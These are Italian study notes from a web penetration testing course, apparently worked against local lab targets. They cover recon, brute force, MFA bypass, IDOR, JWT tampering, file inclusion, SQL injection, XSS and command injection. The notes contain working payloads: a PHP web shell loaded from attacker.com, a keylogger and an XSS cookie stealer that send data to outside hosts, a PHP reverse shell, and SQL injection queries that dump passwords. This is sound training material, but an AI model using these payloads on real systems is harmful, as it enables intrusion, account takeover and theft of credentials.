Bug Bounty notes

Appunti raccolti durante il corso Practical Web Pentest Associate (PWPA) Certification di TCM, alla cui piattaforma rimando per il materiale necessario.

Parliamo brevemente delle differenze tra penetration testing e bug bounty hunting.

Nel bug bounty hunting, l’impatto è tutto. Facciamo un esempio: supponiamo di testare un sito web e di trovare un pannello di amministrazione accessibile da Internet. Questo pannello dovrebbe essere accessibile? Forse sì, forse no. Se stessimo conducendo un penetration test, questa potrebbe essere una segnalazione, a seconda dell’organizzazione e del motivo per cui il pannello è accessibile.

Ma se segnalassimo la stessa cosa in un programma di bug bounty, la risposta sarebbe:
“Questo non è un bug, è solo un problema di basso livello.”

Il programma di bug bounty vuole una dimostrazione dell’impatto:

  • Possiamo accedere a un account amministrativo?
  • Esiste una vulnerabilità sfruttabile in questo pannello?
  • Possiamo accedere a dati o funzioni a cui non dovremmo avere accesso?

Nel penetration testing, analizziamo tutta l’applicazione, ogni vulnerabilità è considerata, da quelle di basso livello a quelle critiche. Nel bug bounty, invece, cerchiamo di trovare vulnerabilità di alto livello per ottenere il miglior compenso possibile. Ciò non significa che le vulnerabilità minori non possano essere segnalate, ma più alto è l’impatto, maggiore sarà la ricompensa.

Un’altra differenza importante è la compliance (conformità). Molti penetration test vengono eseguiti per motivi di conformità normativa, mentre il bug bounty non sempre riguarda la conformità. Le aziende che partecipano ai programmi di bug bounty sono spesso già passate attraverso penetration test e vogliono un ulteriore livello di test da parte di più ricercatori.

A livello generale:

  • Penetration testing → Analisi completa di un’applicazione (conformità, vulnerabilità di tutti i livelli).
  • Bug bounty → Massima attenzione all’impatto (solo vulnerabilità gravi e dimostrabili).

https://owasp.org/Top10

https://cwe.mitre.org/index.html

https://www.sans.org/top25-software-errors

https://securityheaders.com

https://www.ssllabs.com/ssltest

Verificare il perimetro del test

Regola chiave: l’impatto sulla sicurezza è tutto

https://builtwith.com

https://www.wappalyzer.com

curl -I https://example.com Mostra gli header HTTP

Se ottieni un reindirizzamento (302 Redirect), usa:

curl -IL https://example.com

nmap -p 443 -A example.com -A → abilita l’Advanced Scan

Utilizza lo script http-server-header, che estrae l’intestazione del server HTTP

nmap -p 443 --script=http-server-header example.com 

nmap -p 80,443 example.com Scansiona più porte

https://securityheaders.com

https://www.shodan.io

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.0.10/FUZZ

Se vogliamo scansionare una sottodirectory:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.0.10/admin/FUZZ

Se vogliamo vedere solo risposte 200 (OK) o 301 (Redirect), possiamo usare:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://10.0.0.10/FUZZ -fc 404

dirb http://10.0.0.10/

-X → Specifica le estensioni da cercare:

dirb http://10.0.0.10/ -X .php,.html,.txt

Dirbuster è una versione grafica di Dirb:

dirbuster&

Ci sono molti altri strumenti per l’enumerazione! Esplora anche:

  • Gobuster (simile a Dirb, ma più veloce)
  • Wfuzz (altamente configurabile)
  • Nmap con http-enum

Google Dorking:

site:azena.comsite:azena.com -www
site:azena.com filetype:xlsx
site:azena.com filetype:pdf password

https://crt.sh/ inserisci “% .azena.com” -> % è un wildcard

Trovare sottodomini:

subfinder -d azena.com
subfinder -d azena.com -o azena_subdomains.txt
assetfinder azena.com
assetfinder azena.com | grep azena.com
assetfinder azena.com | grep azena.com | sort -u > azena2.txt
amass enum -d azena.com -o azena_amass.txt amass lento ma più risultati 
amass enum -d azena.com > azena_amass.txt

Verifica dei sottodomini attivi:

cat azena | sort -u > azenasorted.txt
cat azenasorted >> azena2.txt  >> appende in fondo al file
cat azena_subdomains.txt | httprobe
cat azena_subdomains.txt | httprobe > azena_active.txt
oppure se vogliamo scegliere solo https:
cat azena_sudomains.txt | httprobe -prefer-https > azena_active.txt
oppure
cat azena_active.txt | grep azena.com | sort -u | httprobe -prefer-https | grep https > azenaalive.txt

Catturare screenshot automatici:

mkdir azenapics
gowitness scan  file -f azenaalive.txt  azenapics --no-http
gowitness file -f azenaalive.txt -P azenapics --no-http
Combiniamo tutto:
subfinder -d azena.com | assetfinder | amass enum -d azena.com | sort -u > azena_all.txt
cat azena_all.txt | httprobe > azena_active.txt
gowitness scan  file -f azena_active.txt  azenapics --no-http

Burp Suite:

Ricordiamoci lo scope!

Con Burp Suite -> tasto destro su un dominio → “Add to scope

Seleziona “Mostra solo elementi in scope

Aggiorna il setting dei filtri

Estensioni da installare in Burp Suite Community Edition:

  • Autorize
  • JSON Web Tokens
  • Logger++
  • Turbo Intruder

Brute Force

/usr/share/wordlists/seclists/ -> payload e password

Burp Suite -> Intruder

Inviamo il POST all’Intruder e aggiungiamo il payload al valore che vogliamo testare (quello della password)

Terminale -> FFUF

Da Burp Suite copiamo e salviamo la richiesta (es. request.txt), sostituiamo il valore che vogliamo testare (quello della password) con FUZZ, quindi:

ffuf -request request.txt -request-proto http -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -mc all

filtriamo i risultati:

ffuf -request request.txt -request-proto http -w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -mc all -fs 1814

Attacking MFA

Bypass dell’MFA tramite modifica dell’username:

  • Ripetiamo il flusso di autenticazione, ma questa volta proveremo a modificare il nome utente prima di inviare il codice MFA.
  • Accediamo con jessamy / pasta per arrivare alla schermata MFA
  • Otteniamo il codice MFA e attiviamo “Intercept” su Burp Suite
  • Intercettiamo la richiesta MFA e modifichiamo l’username da jessamy a Jeremy
  • Inoltriamo la richiesta e attendiamo la risposta del server

Risultato: Accesso effettuato con successo come Jeremy! 

Oppure dopo aver ottenuto l’accesso nel Repeater modifichiamo l’username e lasciamo l’MFA, SEND e verifichiamo l’accesso, se ottenuto dal Repeater -> Request in browser -> In original session e incollo nell’URL della pagina.

Il sistema applica un lockout dopo troppi tentativi falliti.

Con Burp Suite:

Proviamo un Cluster Bomb Attack, usa due wordlist: una per gli username, una per le password.

  • inviamo il POST all’Intruder
  • selezioniamo username e password nella richiesta “add”
  • impostiamo il tipo di attacco su Cluster Bomb
  • nel payload, carichiamo per username e password le rispettive liste
  • avviamo l’attacco

Per la challenge scegliamo alcune password da testare, ne scegliamo 4 per evitare il blocco al quinto tentativo fallito.

Nota, per cercare il dizionario che ci interessa:

find /usr/share/seclists -name ‘*user*’

vediamo le prime 10 righe per verificare se va bene quella lista:

head /usr/share/seclists/Password/password.txt

Con FFUF:

salviamo il POST come file txt, es. “request2.txt

apriamo il file e modifichiamo: 

username=FUZZUSER&password=FUZZPASS

ffuf -request request2.txt -request-proto http -mode clusterbomb -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZUSER -w pass.txt:FUZZPASS

pass.txt” è un file da noi creato con 4 password per evitare il blocco al quinto tentativo fallito.

cerchiamo tra le risposte quelle con un size diverso/maggiore

Altre tecniche di attacco (Authentication/Attacking MFA -> Checklist):

https://appsecexplained.gitbook.io/appsecexplained

IDOR – Insecure Direct Object Reference (Riferimento Diretto Insicuro agli Oggetti)

Il numero dell’account è visibile nell’URL.

Quando un ID utente viene passato come parametro nell’URL, nel corpo di una richiesta, nell’header o nei cookie, dobbiamo provare a manipolarlo per verificare se possiamo accedere a dati non autorizzati.

Con Burp Suite:

Intercettiamo la richiesta. Troviamo l’ID dell’utente nell’URL e inviamo la richiesta a Repeater. Modifichiamo il numero dell’ID utente e inviamo la richiesta. Se scorrendo la risposta vediamo un nuovo utente, come Alice, significa che l’applicazione sta restituendo informazioni basate solo sull’ID dell’oggetto, senza verificare i permessi. Questa vulnerabilità è molto diffusa nelle API, dove è chiamata Broken Object Level Authorization (BOLA).

Ricerca di account amministratore:

Ora vogliamo scoprire se esistono account amministratore nel sistema. Mandiamo la richiesta a Burp Intruder (CTRL + I). Selezioniamo l’ID utente come parametro da attaccare. Carichiamo una wordlist di numeri (num.txt) e avviamo l’attacco. Nei risultati dell’attacco, filtriamo i risultati cercando la parola “admin”.

Script per generare numeri da 1 a 4999 e salvo il risultato nel file num.txt

for i in range(1, 5000):
    print(i)
head num.txt
tail num.txt

Con FFUF:

ffuf -u “https://example.com/account?id=FUZZ” -w num.txt -mr “admin”

ffuf -u ‘http://localhost/labs/e0x02.php?account=FUZZ’ -w num.txt -mr ‘admin’

API

curl -X GET https://catfact.ninja/breeds

Eseguiamo la richiesta CURL attraverso Burp Suite:

curl --proxy http://127.0.0.1:8080 https://catfact.ninja/breeds -k

-k serve a ignorare gli errori di certificato dovuti al proxy auto-firmato di Burp Suite.

Se volessimo inserire una nuova razza di gatto nell’API, useremmo una richiesta POST:

curl -X POST --proxy http://127.0.0.1:8080 https://catfact.ninja/breeds -k -d '{“name”: “CheeseCat”}'

Se volessimo aggiornare la razza appena creata, useremmo PUT:

curl -X PUT --proxy http://127.0.0.1:8080 https://catfact.ninja/breeds -k -d '{“origin”: “Italy”}'

Con Burp Repeater:

Catturiamo una richiesta GET con Burp Suite.

Cambiamo il metodo GET → POST e modifichiamo i dati nel body.

Inviamo la richiesta e analizziamo la risposta.

Broken Access Control

jwt.io

Un JWT è composto da tre parti separate da punti (.):

HEADER.PAYLOAD.SIGNATURE

Header → Contiene il tipo di token e l’algoritmo di firma.

Payload → Contiene le informazioni dell’utente (es. ID utente, ruolo, permessi).

Signature → Serve per verificare che il token non sia stato modificato.

Se il terzo segmento (signature) manca, il token può essere manipolato senza che l’applicazione se ne accorga.

GET recupera informazioni

POST crea nuove risorse

PUT aggiorno risorse esistenti

DELETE elimina risorse esistent

curl -X POST -H "Content-Type: application/json" -d '{"username": "jeremy", "password": "cheesecake"}' http://localhost/labs/api/login.php

risposta:

{"status":"success","token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=."}

echo 'eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=' | base64 -d

risposta:

{"user":"jeremy","role":"staff"}

curl -X GET "http://localhost/labs/api/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=."

risposta:

{"username":"jeremy","role":"staff","bio":"Java programmer."}

curl -X PUT -H "Content-Type: application/json" -d '{"token": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.", "username":"jeremy", "bio": "Jeremy bio."}' http://localhost/labs/api/account.php

risposta:

{"status":"success","message":"Bio updated successfully"}

Infatti, verifico:

curl -X GET "http://localhost/labs/api/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=."

risposta con bio aggiornata:  

{"username":"jeremy","role":"staff","bio":"Jeremy bio."}

Provo a modificare la bio di un altro utente, jessamy, utilizzano il JWT di jeremy:

curl -X PUT -H "Content-Type: application/json" -d '{"token": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.", "username":"jessamy", "bio": "BLFA bio."}' http://localhost/labs/api/account.php

risposta:

{"status":"success","message":"Bio updated successfully"}

Recupero il JWT di jessamy:

curl -X POST -H "Content-Type: application/json" -d '{"username": "jessamy", "password": "tiramisu"}' http://localhost/labs/api/login.php

risposta:

{"status":"success","token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVzc2FteSIsInJvbGUiOiJhZG1pbiJ9."}

e lo uso per verificare le info di jessamy e la modifica delle bio:

curl -X GET "http://localhost/labs/api/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVzc2FteSIsInJvbGUiOiJhZG1pbiJ9."

modifica effettuata:

{"username":"jessamy","role":"admin","bio":"BLFA bio."}

API Index

POST /login.php

curl -X POST -H "Content-Type: application/json" -d '{username: "admin", password: "password123"}' http://localhost/labs/api/login.php

GET /account.php

curl -X GET "http://localhost/labs/api/account.php?token=JWT"

PUT /account.php

curl -X PUT -H "Content-Type: application/json" -d '{token: "JWT", username:"username", bio: "New bio information."}' http://localhost/labs/api/account.php

Testing with Autorize

Con Burp Suite:

Attenzione all’uso corretto degli ‘ e delle “

Per testare le autorizzazioni, dobbiamo raccogliere alcuni JSON Web Tokens (JWT) dei diversi utenti:

curl -X POST -H "Content-Type: application/json" -d '{"username": "jeremy", "password": "cheesecake"}' http://localhost/labs/api/login.php

risposta:

{"status":"success","token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=."}

curl -X POST -H "Content-Type: application/json" -d '{"username": "jessamy", "password": "tiramisu"}' http://localhost/labs/api/login.php

risposta:

{"status":"success","token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVzc2FteSIsInJvbGUiOiJhZG1pbiJ9."}

Andiamo su burpusuite e attiviamo Autorize:

curl -X PUT -H "Content-Type: application/json" -b “session= eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=." -d ‘{"username":"jeremy", "bio": "New bio v.2."}' http://localhost/labs/api/v2/account.php

risposta:

{"status":"success","message":"Bio updated successfully"}

curl -X PUT --proxy localhost:8080 -H "Content-Type: application/json" -b “session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=." -d ‘{"username":"jeremy", "bio": "New bio v.2."}' http://localhost/labs/api/v2/account.php

risposta:

curl: (3) URL using bad/illegal format or missing URL

{"status":"success","message":"Bio updated successfully"

curl -X PUT --proxy localhost:8080 -H "Content-Type: application/json" -b “session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=." -d ‘{"username":"jeremy", "bio": "New bio v.2."}' http://localhost/labs/api/v2/account2.php

risposta:

curl: (3) URL using bad/illegal format or missing URL

{"status":"success","message":"Bio updated successfully"

Local File Inclusion Attacks

Con Burp Suite:

Nota: abilitare tutte le voci nel filtro “Http history filter”

Se un’applicazione web carica file basandosi su un parametro utente:

http://localhost/labs/fi0x01.php?filename=chocolate_cake.txt

L’attaccante potrebbe manipolare il parametro per ottenere file di sistema con Repeater:

http://localhost/labs/fi0x01.php?filename=../../../../../../etc/passwd

Dal Repeater si può usare anche l’Intruder, aggiungendo il payload a:

../../../../../../etc/passwd

e selezionando una lista per il path traversal 

(nella CE /seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt)

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md

Remote File Inclusion Attacks

Con Burp Suite:

Nota: abilitare tutte le voci nel filtro “Http history filter”

Inviamo la richiesta al Repeater:

/labs/fi0x02.php?filename=files%2Fchocolate_cake.txt

e sostituiamo con:

/labs/fi0x02.php?filename=../../../../../ect/passwd

otteniamo la risposta:

file_get_contents(ect/passwd): failed to open stream: No such file or directory 

Se l’applicazione blocca dot-slash (../), possiamo provare a bypassare i filtri con l’URL encoding:

/labs/fi0x02.php?filename=%2e%2e%2f%2e%2e%2fetc/passwd

O con doppia codifica (%252e%252e%252f)

/labs/fi0x02.php?filename=%252e%252e%252f%252e%252e%252fetc/passwd

O con la manipolazione di filtri non ricorsivi:

/labs/fi0x02.php?filename=....//....//....//etc/passwd

/labs/fi0x02.php?filename=..././..././..././..././..././etc/passwd

Se l’app è vulnerabile a LFI, possiamo usare PHP Wrappers per leggere file PHP nascosti. Ora testiamo la possibilità di includere file remoti. Test di inclusione remota con Google:

/labs/fi0x02.php?filename=https://www.google.com

/labs/fi0x02.php?filename=php://filter/convert.base64-encode/resource=db.php

             =php://filter/convert.base64-encode/resource=..././db.php

Con l’ultima manipolazione otteniamo una risposta contenente una parte codificata. La decodifichiamo in base64 e otteniamo le credenziali per la web application.

Se l’app restituisce una stringa codificata in Base64, possiamo decodificarla:

echo "BASE64STRING" | base64 -d

Note:

Null Byte Injection: solo su vecchie versioni di PHP < 5.3

https://example.com/index.php?filename=../../../../../etc/passwd%00

Directory Traversal per accedere ai file di sistema

Payload per leggere /etc/passwd su Linux:

https://example.com/index.php?filename=../../../../../etc/passwd

Per Windows:

https://example.com/index.php?filename=../../../../../windows/system32/drivers/etc/hosts

Importante:

/etc/passwd è spesso leggibile da tutti e contiene gli utenti del sistema.

/etc/hosts su Linux e hosts su Windows possono rivelare informazioni di rete.

Se il sito è vulnerabile a RFI, possiamo inserire un file PHP dannoso:

Creiamo un file PHP con codice malevolo (shell.php):

<?php system($_GET['cmd']); ?>

Carichiamo shell.php su un nostro server web:

python3 -m http.server 8080

Eseguiamo il payload nel sito vulnerabile:

https://example.com/index.php?filename=http://attacker.com/shell.php&cmd=whoami

File Inclusion Challenge Walkthrough

Con FFUF:

Da burp salviamo la richiesta:

GET /labs/api/fetchRecipe.php?filename=chocolate_cake.txt

in un file chiamato api_req.txt.

Apriamo il file nel terminale:

nano api_req.txt

Inseriamo il nostro punto di test (fuzzpoint) nella richiesta e salviamo il file.

GET /labs/api/fetchRecipe.php?filename=FUZZ HTTP/1.1

quindi:

ffuf -request api_req.txt -request-proto http -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fw 19,20

Date le troppe risposte, filtro con -fw 19,20

Invio la GET al Repeater e sostituisco dopo filename= i payload trovati da FUFF e ottengo /etc/passwd

Basic SQLInjection Attacks

jeremy' or 1=1#

Se otteniamo più risultati del previsto, l’app è vulnerabile a SQL Injection!

jeremy' or 1=1-- -
jeremy' or 1=2-- -
jeremy' or 1=3-- -
jeremy' union select null#

Se otteniamo errore, aumentiamo il numero di NULL fino a trovare la giusta quantità:

jeremy' union select null,null,null#

Se otteniamo un risultato, sappiamo che la query originale ha 3 colonne.

Ora possiamo sostituire NULL con dati reali, come username, password, email.

jeremy' union select null,null,version()#

Se l’output mostra 8.0.33, sappiamo che il database è MySQL.

Elencare tutte le tabelle:

jeremy' union select null,null,table_name from information_schema.tables#

le colonne:

jeremy' union select null,null,column_name from information_schema.columns#

Ora che conosciamo il nome della tabella degli utenti (users), proviamo a ottenere le password:

jeremy' union select null,null,password from injection0x01#

Se la query originale seleziona dati numerici, UNION SELECT potrebbe restituire errore. Ad esempio, se una colonna ID è di tipo INT, dobbiamo assicurarci di restituire un numero:

jeremy' union select null(int),1,null from injection0x01#

PortSwigger Web Security Academy

OWASP SQL Injection Cheat Sheet

Blind SQL Injection Attacks – Part 1

Configurazione di Burp Suite

Avvia Burp Suite e vai su Proxy → HTTP History.

Se usiamo lo stesso browser per diverse attività, il log può riempirsi di richieste indesiderate. Per filtrare il traffico, andiamo su Target → Scope Settings e aggiungiamo:

http://localhost

Burp chiederà se vogliamo escludere le richieste fuori dallo scope → Clicchiamo su Yes. 

Cancelliamo la cronologia HTTP per pulire il traffico non necessario. Ora Burp intercetterà solo il traffico relativo al nostro laboratorio!

Accesso all’applicazione e raccolta di informazioni

Accediamo con le credenziali di default

Dopo il login, veniamo reindirizzati alla dashboard principale.

Con Burp Suite vediamo una richiesta POST con i parametri username e password. Nella risposta, troviamo un session cookie che sembra un hash MD5. Il contenuto della risposta ha una lunghezza di 1928 byte. Se il login fallisce, la risposta cambia leggermente e la lunghezza diventa 2122 byte.

Questo suggerisce che possiamo identificare risposte differenti basandoci sulla lunghezza del contenuto.

Proviamo qualche payload:

jeremy' or 1=1#

possiamo codificarlo

jeremy'+or+1%3d1%23
jeremy” or 1=1#

Automazione con SQLMap:

Copia la richiesta di POST e la salviamo in un file chiamato request.txt.

Eseguiamo SQLMap:

sqlmap -r req.txt

SQLMap cercherà automaticamente vulnerabilità nei parametri inviati.

Possibili esiti:

se SQLMap rileva una vulnerabilità, elencherà i database disponibili. Se nessun parametro è vulnerabile, dobbiamo provare un altro punto di iniezione.

Cercare SQL Injection in altri punti dell’applicazione:

dopo il login, il session cookie è incluso in tutte le richieste HTTP (la GET dopo POST). Forse l’applicazione lo processa internamente.

Testiamo SQL Injection nel cookie:

invio della richiesta (la GET dopo POST) in Burp Repeater.

modifica del session cookie 

Cookie: session=6967cabefd763ac1a1a88e11159957dba; csrf0x01=jeremy

ottengo risposta ha una lunghezza di 1928 byte invece di 1027 di corretto

allora provo con un payload SQL:

Cookie: session=6967cabefd763ac1a1a88e11159957db' or 1=1#; csrf0x01=jeremy

Invio della richiesta e confronto della risposta.

Se il login viene accettato, abbiamo scoperto una vulnerabilità!

Conferma della SQL Injection cieca

Testiamo con un payload che dovrebbe generare un errore:

' AND 1=2#

Se l’applicazione restituisce una risposta di login fallito, sappiamo che la query è stata eseguita!

Proviamo invece con:

' AND 1=1#

Se la query è eseguita correttamente, il login dovrebbe essere accettato.

Ora possiamo confermare che il parametro session cookie è vulnerabile a SQL Injection!

Blind SQL Injection Attacks – Part 2

Usiamo la funzione SUBSTRING() per estrarre caratteri da una stringa nel database:

Sintassi:

SUBSTRING(string, start, length)
oppure:
SUBSTRING(string FROM start FOR length)

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('a', 1, 1) = 'a'#

Se la query ha successo, sappiamo che il primo carattere è “a”

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('alex', 2, 1) = 'l'#

Se la query ha successo, sappiamo che il secondo carattere è “l

e così via:

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('alex', 1, 3) = 'ale'#

Verifico la versione:

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 1) = '8'#

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 2) = '8.'#

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 3) = '8.0'#

…

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 5) = '8.0.4'#

scopriamo che la versione del database è 8.0.4

Per trovare le password:

' and substring((select password from injection0x02 where username = ‘jessamy’), 1, 1) = 'b'#

però automatizziamo: inviamo all’Intruder e aggiungiamo la posizione del payloads:

and substring((select password from injection0x02 where username = 'jessamy'), 1, 1) = '§b§'#

Carichiamo una wordlist con lettere (a-z, 0-9)

Avviamo l’attacco e filtriamo i risultati per trovare la lunghezza di risposta diversa e verifichiamo nella risposta dell’attacco…

… ma dovremmo ripetere il test per ogni carattere per ricostruire la password.

Automatizziamo con SQLMap:

Salvo in un file txt copia del GET

sqlmap -r req2.txt --level=2
sqlmap -r req2.txt --level=2 --dump -T injection0x02

Blind SQL Injection Attacks

x’ or 1=1#

Se l’iniezione ha successo, dovremmo vedere tutti i prodotti del database.

Tanjyoubi Sushi Rack' union select null,null,null,null#

La query ha funzionato → ci sono 4 colonne

Quindi, otteniamo un elenco delle tabelle nel database:

Tanjyoubi Sushi Rack' union select null,null,null,table_name from information_schema.tables#

Cerchiamo la tabella che contiene gli utenti, troviamo injection_0x03_users, che probabilmente contiene le credenziali:

Tanjyoubi Sushi Rack' union select null,null,null,username from injection0x03_users#

Otteniamo il nome utente: Takashi, troviamo la password:

Tanjyoubi Sushi Rack' union select null,null,null,password from injection0x03_users#

La password è OnigiriDaisuki.

Automazione con SQLMap:

Salviamo il POST in un file txt.

sqlmap -r req3.txt --level=2 --dump
oppure
sqlmap -r req3.txt -T injection0x03_users --dump

SQLMap trova automaticamente la vulnerabilità e scarica la tabella utenti.

Otteniamo username e password.

Second Order SQL Injection

Registriamo un nuovo utente con un payload SQL nel nome utente.

Username: testing

Password: testing

Dopo la registrazione, accediamo e vediamo il messaggio di benvenuto:

Benvenuto testing nella tua dashboard!

Questo suggerisce che i nostri dati sono stati salvati nel database.

Ora proviamo a iniettare un payload SQL, registriamo:

Username 'or 1=1-- -

Password test

Se l’applicazione utilizza il nostro input per eseguire una query SQL successivamente, potremmo ottenere SQL Injection!

Accediamo all’utente appena creato, l’applicazione risponde

Welcome, 'or 1=1-- -, to your dashboard!

Bio: Jeremy likes tiramisu

Ciò significa che il nostro OR 1=1 ha manipolato la query SQL!

Introduction to Cross-Site Scripting (XSS)

Verifichiamo: nella pagina web attivo l’Inspect (clic dx) e nella console:

alert(1) 

si aprirà un popup.

Oppure:

print()

prompt(‘Hello’)

keylogger:

function logKey(event){console.log(event.key)}
document.addEventListener(‘keydown’, logKey)

O inviare i tasti a un server remoto:

function logKey(event) {
  fetch("https://attacker.com/log?key=" + event.key);
}
document.addEventListener("keydown", logKey);

Basic Cross-Site Scripting (XSS) Attacks

Verifichiamo: nella pagina web attivo l’Inspect (clic dx) e in network.

Se non vediamo richieste HTTP, significa che l’esecuzione avviene completamente lato client. Risultato: Questa è una vulnerabilità DOM-Based XSS, poiché tutto avviene nel browser.

<script>prompt(1)</script>

<script>alert(1)</script>

Non succede nulla, il codice viene aggiunto alla pagina, ma non viene eseguito immediatamente. Motivo: anche se il payload è stato inserito, il browser non lo esegue. Serve un evento o un trigger per attivare il JavaScript.

<img src="x" onerror="alert(1)">

<img src="x" onerror="promt(1)">

Il browser tenta di caricare l’immagine, ma fallisce. Quando l’immagine non viene trovata, viene generato un errore e l’evento onerror esegue il nostro JavaScript.

Abbiamo eseguito con successo un attacco XSS!

Proviamo a modificare il payload per reindirizzare l’utente a un altro sito:

<img src="x" onerror="window.location.href='https://tcm-sec.com'">

Testare altri payload XSS

Esecuzione al caricamento della pagina:

<body onload="alert('XSS')">

Esecuzione al passaggio del mouse:

<div onmouseover="alert('XSS')">Passa qui sopra</div>

https://portswigger.net/web-security/cross-site-scripting

https://owasp.org/www-community/attacks/xss

Stored Cross-Site Scripting (XSS) Attacks

Installare l’estensione Firefox Multi-Account Containers

Creiamo due container separati e incolliamo in entrambi l’url della pagina.

Creo un cookie nel primo container:

Nell’Inspect verifico che ci sia il cookie in Storage.

Mentre nella console:

document.cookie

risposta:

"cookie=hellothere"

Nel secondo container, nella console:

document.cookie

nessuna risposta

Nel primo container:

<h1>test</h1>

il commento test viene aggiunto, verifichiamo, c’è anche nel secondo container

Nel primo container:

<script>prompt(1)</script>

il prompt viene visualizzato, verifichiamo, c’è anche nel secondo container

Nel secondo container

<script>alert(document.cookie)</script>

Se il popup mostra il cookie, possiamo rubare le sessioni degli utenti!

Rubare il cookie dell’admin

Iniettare un payload XSS in Container1.

Attendere che un admin (in Container2) visiti la pagina.

Rubare il suo cookie.

Puoi usare uno strumento come WebHook.site per ricevere le richieste in tempo reale.

Puoi testare 

curl https://webhook.site/IDWEBHOOK.SITE

Cross-Site Scripting (XSS) Challenge Walkthrough

Creiamo due container (il secondo: http://localhost/labs/x0x03_admin.php).

Nel primo:

jeremy

<script>var i = new image;i.src="https://webhook.site/5c2ffddd-2bba-402d-af99-034923a869d7/?"+document.cookie;</script>

Aggiorniamo la pagina nel secondo, troveremo “Ticket from: jeremy” e in webhook.site il cookie di admin:

Verifichiamo con l’estensione cookie-editor:

che nell’Inspect:

Introduction to Command Injection

Apriamo DevTools (F12 o CTRL + SHIFT + I) e digitiamo in Console:

eval("1 + 1");

Risultato:

2

Abbiamo eseguito codice direttamente nella console, proprio come farebbe un’applicazione vulnerabile.

Esempio con input utente:

let userInput = "7 * 7";

eval(userInput);

Risultato:

49

L’applicazione sta eseguendo direttamente i dati inseriti dall’utente, senza controlli!

Terminale:

php -a
> $user_input = "whoami";
> system($user_input);

Risultato atteso su Kali Linux:

kali

Command Injection Attacks

Verifica della vulnerabilità, proviamo a inviare una richiesta di test:

http://localhost

risultato:

Result: HTTP/1.1 200 OK

Inseriamo un comando separato da ;

http://localhost; whoami

Il server esegue whoami e restituisce il processo in esecuzione

Se il comando viene filtrato, proviamo a interrompere l’output con #:

http://localhost; whoami; #

Proviamo con

; whoami; #

Controlliamo quali linguaggi di scripting sono disponibili:

; which php; #

Otteniamo

Result: /usr/local/bin/php

; which perl; #

Result: /usr/bin/perl

; which python; #

Nessun risultato

Abbiamo trovato PHP, possiamo usare un payload per ottenere una reverse shell

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Usiamo un payload PHP per la reverse shell, dove ATTACKER_IP è il nostro indirizzo IP, e 4444 è la porta di ascolto:

php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("192.168.203.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

; php -r '$sock=fsockopen("192.168.203.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'; #

Prima di eseguire il payload, apriamo un listener sulla nostra macchina:

nc -lvnp 4444

Se il server è vulnerabile, riceveremo una connessione e potremo eseguire comandi remoti!

whoami

hostname

Blind Command Injection

https://book.hacktricks.wiki/en/pentesting-web/command-injection.html

L’applicazione è vulnerabile a Command Injection, ma non restituisce direttamente i risultati. Dobbiamo trovare altri modi per verificare che i comandi vengano eseguiti:

http://localhost

Se riceviamo una risposta dal server, significa che il nostro input è accettato.

Ora proviamo a inviare un target inesistente:

http://nonexistent.target

http://localhost:4561

Se il server risponde con un messaggio di errore (“Something went wrong”), significa che il nostro input viene elaborato.

Possibile vulnerabilità di Blind Command Injection!

Proviamo ad aggiungere un comando che induce un ritardo (sleep 10):

http://localhost && sleep 10

http://localhost? && sleep 10

http://localhost?q='sleep 10'   (potrebbe restituire “Something went wrong”)

Se la pagina impiega 10 secondi per caricarsi, significa che il nostro comando è stato eseguito. Abbiamo confermato la Blind Command Injection!

